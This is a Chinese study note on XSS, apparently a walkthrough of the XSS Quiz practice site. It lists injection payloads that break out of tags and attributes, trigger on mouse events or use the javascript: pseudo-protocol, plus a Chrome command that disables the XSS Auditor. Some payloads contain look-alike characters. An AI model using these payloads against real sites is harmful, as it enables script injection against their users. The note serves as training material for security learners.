Web安全攻防 学习笔记
一、XSS 攻击
1.1、实验环境介绍
地址:https://xss-quiz.int21h.jp/
1.2、探测 XSS 过程
-
构造一个不会被识别为恶意代码的字符串提交到页面中
-
使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示
1.3、闭合文本标签利用 XSS
第一关比较简单,下面两个都可以成功注入
- 简单的 payload
<script>alert(document.domain);</script>
- 闭合标签的 payload
"</b><script>alert(document.domain);</script>
1.4、配置 Chrome 关闭 XSS-Auditor
https://xss-qhttps://xss-quiz.int21h.jp/ 利用 XSS 过程中会出现下图情况。
新创建一个快捷方式
# 你的 Chrome.exe 浏览器的路径 + --args --disable-xss-auditor
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor
1.5、属性中的 XSS 发现
-
页面没有显示输入的值在哪里,用
ctrl+f
全局搜索输入的内容。 -
闭合引号,尖括号,引入
script 脚本
123
123"><script>alert(document.domain);</script>
- onmouseover 鼠标悬停弹出
当鼠标移到输入框时弹出
" οnmοuseοver=alert(document.domain)>
- select 元素可创建单选或多选菜单
在 select 下拉框中输入,闭合标签
Japan</option><script>alert(document.domain);</script>
1.6、HTML 表单隐藏参数
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。 当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。
使用先前的方法都不顶用了,那么直接点,把隐藏表单显示出来。
123"><script>alert(document.domain);</script>
- HTML 表单文本框的一些属性
<input type='text' name='' value=''>
value 输入字段的初始值
readonly 输入字段为只读(不能修改)
disabled 输入字段是禁用的
size 规定输入字段的字符
maxlength 输入字段允许最大长度
"><script>alert(document.domain);</script>
1.7、通过 HTML 事件来触发 XSS
123"><script>alert(document.domain);</script>
# 既然 <script> 不行, 那就换一个
# 鼠标移动触发
123" οnmοuseοver="alert(document.domain)
# 鼠标点击触发
" οnclick="alert(document.domain)
1.8、空格分隔属性中的 XSS
按照上面的闭合思路来进行尝试
-
123"><script>alert(document.domain);</script>
把语句当做是一个整体,并且<>
被转换 -
123" onmouseover="alert(document.domain)
按照空格自动划分属性与值,且补充引号 -
123 onmouseover=alert(document.domain)
ok!
二、JavaScript 伪协议
2.1、JavaScript 伪协议介绍
将 JavaScript 代码添加到客户端的方法是把它放置在伪协议说明符 JavaScript :
后的 URL 中。这 个特殊的协议类型声明了 URL 的主体是任意的 JavaScript 代码,它由 JavaScript 的解释器运行。 如果 JavaScript :URL
中的 JavaScript 代码含有多个语句,必须使用分号将这些语句分隔开。
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
- 利用 JavaScript 伪协议
javascript:alert(document.domain);
2.2、a 链接标签属性
标签定义超链接,用于从一个页面链接到另外一个页面。标签最重要的属性是 href
属性,它指定链接的目标。
在所有浏览器中,链接的默认外观是:
-
未被访问的链接带有下划线而且是蓝色的
-
已被访问的链接带有下划线而且是紫色的
-
活动链接带有下划线而且是红色的